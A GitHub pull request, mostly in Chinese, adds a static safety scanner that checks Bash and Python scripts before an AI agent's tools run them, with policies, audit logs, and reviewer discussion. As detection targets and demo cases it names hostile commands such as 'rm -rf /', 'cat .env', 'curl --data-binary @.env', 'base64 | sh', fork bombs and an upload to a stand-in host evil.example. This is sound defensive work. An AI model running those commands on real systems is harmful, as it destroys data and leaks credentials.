Skip to content

feat: add tool script safety guard#113

Open
xyxhhhhh wants to merge 10 commits into
trpc-group:mainfrom
xyxhhhhh:issue-90-tool-script-safety-guard
Open

feat: add tool script safety guard#113
xyxhhhhh wants to merge 10 commits into
trpc-group:mainfrom
xyxhhhhh:issue-90-tool-script-safety-guard

Conversation

@xyxhhhhh

@xyxhhhhh xyxhhhhh commented Jul 2, 2026

Copy link
Copy Markdown

概述

Resolves #90

本次实现了Tool Script Safety Guard,用于在 Tool / Skill / MCP Tool /
CodeExecutor 执行脚本或命令前进行安全扫描、策略判断、拦截和审计。

主要能力:

  • 支持 Python 脚本和 Bash 命令的静态安全扫描
  • 支持 allow / deny / needs_human_review 三类决策
  • 支持 YAML 策略配置:白名单域名、允许命令、禁止路径、最大超时、最大输出大小
  • 支持 strict policy validation,能发现未知字段、错误类型和负数限制值
  • 输出结构化安全报告,包含 decisionrisk_levelrule_idevidence
    recommendation
  • 输出 JSONL 审计事件,便于监控系统消费
  • 预留 OpenTelemetry 兼容的 tool.safety.* attributes
  • 提供 CLI、Filter、Wrapper、示例和自动化测试
  • BashToolUnsafeLocalCodeExecutor 提供 opt-in 接入,不改变默认历史
    行为
  • 提供 40 条 manifest 驱动样例,覆盖 issue 要求的主要风险类型和常见绕过场景

风险覆盖

已覆盖的风险类型:

  • 危险文件操作:递归删除、系统路径覆盖、.env~/.ssh、凭据文件访问等
  • 网络外连:curlwgetrequestsaiohttpsocket、非白名单域名访问
  • 进程和系统命令:subprocessos.system、shell 管道、命令替换、后台进程、
    提权命令等
  • 依赖安装:pip installpython -m pip installnpm installapt install
  • 资源滥用:无限循环、fork bomb、长时间 sleep、超时和输出大小策略检查等
  • 敏感信息泄漏:API key、token、password、私钥内容输出或传输等

额外补充的高价值场景:

  • base64 | sh
  • python -c
  • bash -c / sh -c
  • 动态 URL 拼接
  • 动态 .env / ~/.ssh 路径
  • curl --data-binary @.env
  • find -delete
  • xargs rm -rf
  • os.getenv("API_TOKEN") 外传

兼容性

核心执行链路接入采用 opt-in 方式,避免破坏现有默认行为。

BashToolUnsafeLocalCodeExecutor 默认保持原有执行逻辑。用户可以通过参数
enable_safety_guard=True 显式启用安全扫描。

启用后:

  • deny 会在执行前阻断脚本或命令
  • needs_human_review 默认只记录到 safety_report、audit 和 telemetry,不阻
    断执行
  • 如需严格模式,可设置 block_on_review=True
  • allow 会继续执行

验收映射

  • Python 和 Bash 扫描:trpc_agent_sdk/tools/safety/_rules.py_scanner.py
  • 可配置 YAML policy:trpc_agent_sdk/tools/safety/_policy.pyexamples/ tool_safety/tool_safety_policy.yaml
  • strict policy validation:未知字段、错误类型、负数限制值会报错
  • 三态决策模型:allowdenyneeds_human_review
  • Filter / Wrapper 执行前拦截:trpc_agent_sdk/tools/safety/_filter.py
    _wrapper.py
  • 核心链路 opt-in 接入:trpc_agent_sdk/tools/file_tools/_bash_tool.py
    trpc_agent_sdk/code_executors/local/_unsafe_local_code_executor.py
  • 结构化报告字段:decisionrisk_levelrule_idrisk_type
    evidencerecommendation
  • 审计和遥测:trpc_agent_sdk/tools/safety/_audit.py_telemetry.py
  • CLI:scripts/tool_safety_check.py
  • Manifest 验收脚本:scripts/tool_safety_manifest_report.py
  • 样例与报告:examples/tool_safety/samples/manifest.yamlexamples/ tool_safety/all_reports.json
  • 文档:examples/tool_safety/README.md

样例校验

样例语料由 manifest 驱动:

  • Manifest:examples/tool_safety/samples/manifest.yaml
  • Deterministic report:examples/tool_safety/all_reports.json
  • 校验脚本:scripts/tool_safety_manifest_report.py

当前 manifest 状态:

  • 40 个样例
  • 40 / 40 expected decision 匹配
  • 40 / 40 required rule ids 匹配
  • 读取密钥样例:无 allow
  • 危险删除样例:无 allow
  • 非白名单网络外连样例:无 allow
  • 安全样例:无 deny
  • 500 行 Python 脚本扫描性能由测试覆盖

验证

已通过相关测试和校验:

.venv/bin/python -m pytest tests/tools/safety -q
.venv/bin/python scripts/tool_safety_manifest_report.py --strict-policy
.venv/bin/python -m flake8 trpc_agent_sdk/tools/safety scripts/tool_safety_check.py scripts/tool_safety_manifest_report.py tests/tools/safety
.venv/bin/python -m yapf --diff --recursive trpc_agent_sdk/tools/safety scripts/tool_safety_check.py scripts/tool_safety_manifest_report.py tests/tools/safety

当前结果:

  • tests/tools/safety:82 passed
  • Manifest 样例:40 / 40 expected decision 匹配
  • Required rule ids:40 / 40 匹配
  • flake8 通过
  • yapf --diff 无格式 diff
  • 已补充 Codecov 提示的 _policy.py_rules.py patch coverage 缺失分支测试

也验证了单文件 CLI 扫描:

.venv/bin/python scripts/tool_safety_check.py \
  --script examples/tool_safety/samples/danger_delete.sh \
  --language bash \
  --policy examples/tool_safety/tool_safety_policy.yaml \
  --strict-policy

结果:deny,命中 BASH_RECURSIVE_DELETE

文档

新增 examples/tool_safety/README.md,说明:

  • 规则体系
  • 策略配置
  • CLI 使用方式
  • Filter / Wrapper 接入方式
  • BashTool / UnsafeLocalCodeExecutor opt-in 接入方式
  • 报告和审计日志格式
  • OpenTelemetry 字段
  • 已知误报、漏报和绕过风险
  • 为什么静态扫描不能替代沙箱隔离

@codecov

codecov Bot commented Jul 2, 2026

Copy link
Copy Markdown

Codecov Report

❌ Patch coverage is 99.05549% with 8 lines in your changes missing coverage. Please review.
⚠️ Please upload report for BASE (main@73655ab). Learn more about missing BASE report.

Files with missing lines Patch % Lines
trpc_agent_sdk/tools/safety/_filter.py 95.83333% 5 Missing ⚠️
trpc_agent_sdk/tools/safety/_scanner.py 97.39130% 3 Missing ⚠️
Additional details and impacted files
@@            Coverage Diff             @@
##             main        #113   +/-   ##
==========================================
  Coverage        ?   88.48134%           
==========================================
  Files           ?         488           
  Lines           ?       45830           
  Branches        ?           0           
==========================================
  Hits            ?       40551           
  Misses          ?        5279           
  Partials        ?           0           

☔ View full report in Codecov by Harness.
📢 Have feedback on the report? Share it here.

🚀 New features to boost your workflow:
  • ❄️ Test Analytics: Detect flaky tests, report on failures, and find test suite problems.

@github-actions

github-actions Bot commented Jul 2, 2026

Copy link
Copy Markdown

CLA Assistant Lite bot All contributors have signed the CLA ✍️ ✅

@xyxhhhhh
xyxhhhhh force-pushed the issue-90-tool-script-safety-guard branch from ccf18ad to 8bc9647 Compare July 2, 2026 09:16
@xyxhhhhh

xyxhhhhh commented Jul 2, 2026

Copy link
Copy Markdown
Author

I have read the CLA Document and I hereby sign the CLA

Rook1ex added a commit to trpc-group/cla-database that referenced this pull request Jul 2, 2026
@xyxhhhhh
xyxhhhhh force-pushed the issue-90-tool-script-safety-guard branch from 8bc9647 to 343a75c Compare July 2, 2026 10:25
@raychen911

Copy link
Copy Markdown
Contributor

麻烦加一下设计文档,给出请求处理流程,当遇到不同程度的命令对应处理的结果

@xyxhhhhh

xyxhhhhh commented Jul 8, 2026

Copy link
Copy Markdown
Author

麻烦加一下设计文档,给出请求处理流程,当遇到不同程度的命令对应处理的结果

感谢 您的review,已补充设计文档:examples/tool_safety/DESIGN.md。

文档中补充了请求进入 Safety Guard 后的完整处理流程、finding 聚合为 allow /
needs_human_review / deny 的决策规则,以及不同风险程度命令在默认模式和 strict
模式下的处理结果。

另外补充了三类完整 JSON response 示例,分别覆盖 allow、needs_human_review 和
deny,便于查看不同决策下返回的 safety_report 结构。

@xyxhhhhh
xyxhhhhh force-pushed the issue-90-tool-script-safety-guard branch from e96482d to d62c193 Compare July 22, 2026 09:05

## 设计目标

Tool、Skill、MCP Tool 和 CodeExecutor 都可能执行脚本、shell 命令、外部进程或网络请求。Safety Guard 的目标是在真实执行前完成静态扫描和策略判断,把明显危险的请求拦截在执行边界外,并为不确定请求提供人工复核、审计和 telemetry 信息。

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

是否可以补充真正模型执行的例子?例如:构建一个真正的agent,让它跑这些Tool、Skill、MCP Tool 和 CodeExecutor。看看遇到不同级别的危险命令是怎么处理的

Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

感谢您的建议! 已补充如下:

新增了 examples/tool_safety/real_agent_demo/,构建了真实的 LlmAgent + Runner,
挂载了 BashTool、Skill(skill_run)、本地 stdio MCPTool 和 UnsafeLocalCodeExecutor
四条执行路径,每条路径各覆盖 allow / needs_human_review / deny 三种决策场景。

具体场景如下:

  • tool_deny:rm -rf / → deny,执行前被拦截
  • code_review:subprocess.run → needs_human_review,可选 --block-on-review 阻断
  • skill_deny:cat .env → deny
  • mcp_deny:curl https://evil.example/upload → deny,在 MCP call 前被拦截

CI 使用 fake model 走同一套接线(tests/tools/safety/test_real_agent_demo.py),
不依赖真实凭据即可验证全矩阵。真实模型(gpt-5.4)的运行输出已固化在
examples/tool_safety/real_agent_demo/REAL_MODEL_OUTPUT.md,可直接查看效果。

return cls(
allowed_domains=[],
allowed_commands=["cat", "echo", "grep", "head", "ls", "pwd", "tail", "wc"],
denied_paths=[

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

这里的危险命令感觉过于少了,是否可以考虑更多的?

Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

感谢您的 review,这里确实容易引起误解:

这里的 allowed_commands 是命令白名单(即允许执行的安全命令),不是危险命令列表,
所以它的条数少是预期行为——默认只允许 cat/echo/grep/head/ls/pwd/tail/wc 这些只读无害的命令。

危险命令的检测规则集中在 trpc_agent_sdk/tools/safety/_rules.py,覆盖了:

  • rm -rf / find -delete / xargs rm(危险删除)
  • sudo / chmod 777 / chown root(提权)
  • curl/wget/requests/socket 访问非白名单域名(网络外连)
  • pip install / npm install / apt-get install(依赖安装)
  • fork bomb / while true / 长 sleep(资源滥用)
  • token/secret/password 敏感变量输出或外传(信息泄漏)
  • base64 decode | sh / python3 -c / bash -c(内联解释器执行)

README"规则体系"节有完整的规则索引,可以对照确认覆盖范围。

from ._types import max_risk_level


class ToolScriptSafetyScanner:

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

常见的危险命令:rm sudo token等规则是在哪

Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

感谢您的 review,文件组织上确实存在可发现性不足,已在 README中补充了明确的指引。规则实际都存在:

这些规则都存在,是在 _rules.py 而不是 _scanner.py 里:

  • rm -rf → _rules.py BASH_RECURSIVE_DELETE(基于正则匹配 rm -rf / rm -fr)
  • sudo / chmod 777 / chown root → BASH_PRIVILEGE_ESCALATION
  • token/secret/password → SENSITIVE_NAME_RE 模式 + SENSITIVE_OUTPUT规则,覆盖"敏感变量被
    echo/curl/print/logging 输出或外传"的场景

_scanner.py 的职责是语言分发、执行上下文检查、聚合结果并生成最终决策,具体规则实现全部在 _rules.py(scan_bash_script / scan_python_script)。README"规则体系"节也明确指向了这一文件,便于后续查阅和扩展。



@dataclass
class ToolSafetyPolicy:

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

是否可以支持用户注册的一些策略?

Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

感谢您提出这个宝贵的问题,用户自定义策略是一个很重要的使用场景。已支持两个维度:

  1. YAML 策略配置(无需改代码):ToolSafetyPolicy.from_file() / from_dict() 允许
    通过 YAML 文件定制白名单域名、允许命令、禁止路径、超时限制、是否拦截依赖安装/提权等所有字段。
    示例见 examples/tool_safety/tool_safety_policy.yaml。

  2. 自定义规则回调:ToolScriptSafetyScanner 支持 custom_rules 参数和 register_rule() 方法,
    类型签名为 SafetyRule = Callable[[ToolScriptScanRequest, ToolSafetyPolicy], Iterable[RiskFinding]]。
    用户可以在内置规则基础上追加任意业务语义的检测逻辑,自定义规则的结果会和内置规则一起
    参与最终的 decision 聚合。

示例:
def my_rule(req, policy):
if "internal_api" in req.script:
yield RiskFinding(rule_id="MY_CUSTOM_RULE", ...)

  scanner = ToolScriptSafetyScanner(custom_rules=[my_rule])

@@ -0,0 +1,765 @@
# Tool Script Safety Guard

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

这里可以写一下使用方式,给出运行的例子,我这边测试可以浮现一下效果

Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

感谢您的反馈,已在 README 中补充完整的示例章节:

  1. CLI 扫描单个脚本(bash/python 均有示例命令):
    python3 scripts/tool_safety_check.py
    --script examples/tool_safety/samples/bash_pipe.sh
    --language bash
    --policy examples/tool_safety/tool_safety_policy.yaml
    --tool-name example_bash_tool

  2. 真实模型 + Agent 执行链路示例:
    cd examples/tool_safety/real_agent_demo
    python3 run_agent.py --case tool_deny # 输出 decision=deny blocked=True
    python3 run_agent.py --case code_review # 输出 decision=needs_human_review
    python3 run_agent.py --case mcp_deny # 输出 decision=deny

已在 examples/tool_safety/real_agent_demo/REAL_MODEL_OUTPUT.md 中固化了一份
真实模型(gpt-5.4)的完整运行输出,可直接对照查看 allow/review/deny 三种情况的效果,
无需配置 API Key。

xyxhhhhh added 2 commits July 23, 2026 16:52
- Add real agent demo (Tool/Skill/MCP Tool/CodeExecutor) with allow/review/deny scenarios
- Add register_rule() and custom_rules support to ToolScriptSafetyScanner
- Expand dangerous command coverage in _rules.py and _policy.py
- Add quick-start usage examples and running instructions to README
- Update tests to cover new policy fields and custom rule registration
@xyxhhhhh
xyxhhhhh requested a review from raychen911 July 23, 2026 09:26
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

构建 Tool 执行脚本安全扫描、Filter 拦截与监控机制

2 participants